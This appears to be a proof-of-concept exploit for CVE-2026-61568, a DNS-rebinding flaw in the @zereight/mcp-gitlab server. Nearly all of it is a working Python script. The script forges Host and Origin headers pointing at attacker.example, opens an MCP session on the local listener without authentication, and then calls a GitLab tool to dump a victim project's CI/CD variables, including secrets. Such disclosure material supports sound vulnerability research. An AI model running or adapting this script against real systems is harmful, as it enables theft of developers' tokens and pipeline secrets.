CVE-2026-61568: @zereight/mcp-gitlab DNS Rebinding via Missing Host/Origin Validation

# Send MCP initialize with attacker-controlled Host and Origin to the local listener.
# The server accepts the request and returns a valid Mcp-Session-Id.

import json, urllib.request

TARGET      = "http://127.0.0.1:8082/mcp"
REBIND_HOST = "attacker.example:8082"
ORIGIN      = "http://" + REBIND_HOST
TOKEN       = "glpat-VICTIM-TOKEN-HERE"

def post(body, sid=None, token=None):
    headers = {
        "Content-Type": "application/json",
        "Accept":       "application/json, text/event-stream",
        "Host":         REBIND_HOST,      # forged rebind host
        "Origin":       ORIGIN,           # forged rebind origin
    }
    if token:
        headers["Private-Token"] = token
    if sid:
        headers["Mcp-Session-Id"]        = sid
        headers["MCP-Protocol-Version"]  = "2025-06-18"
    req = urllib.request.Request(
        TARGET, data=json.dumps(body).encode(), headers=headers, method="POST")
    with urllib.request.urlopen(req, timeout=20) as res:
        sid_out = res.headers.get("Mcp-Session-Id") or res.headers.get("mcp-session-id")
        return res.status, sid_out, res.read().decode()

# Step 1: initialize (no token needed to establish session)
status, sid, body = post({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {
        "protocolVersion": "2025-06-18",
        "capabilities": {},
        "clientInfo": {"name": "dns-rebind", "version": "1"},
    },
})
print("initialize:", status, "session:", sid)   # 200 + UUID session

# Step 2: with a token, list tools and call a GitLab API tool
status, _, body = post(
    {"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}},
    sid=sid, token=TOKEN)
print("tools/list:", status)

status, _, body = post(
    {"jsonrpc": "2.0", "id": 3, "method": "tools/call",
     "params": {"name": "list_project_variables",
                "arguments": {"project_id": "victim/repo"}}},
    sid=sid, token=TOKEN)
print(body)   # returns CI/CD variables including secrets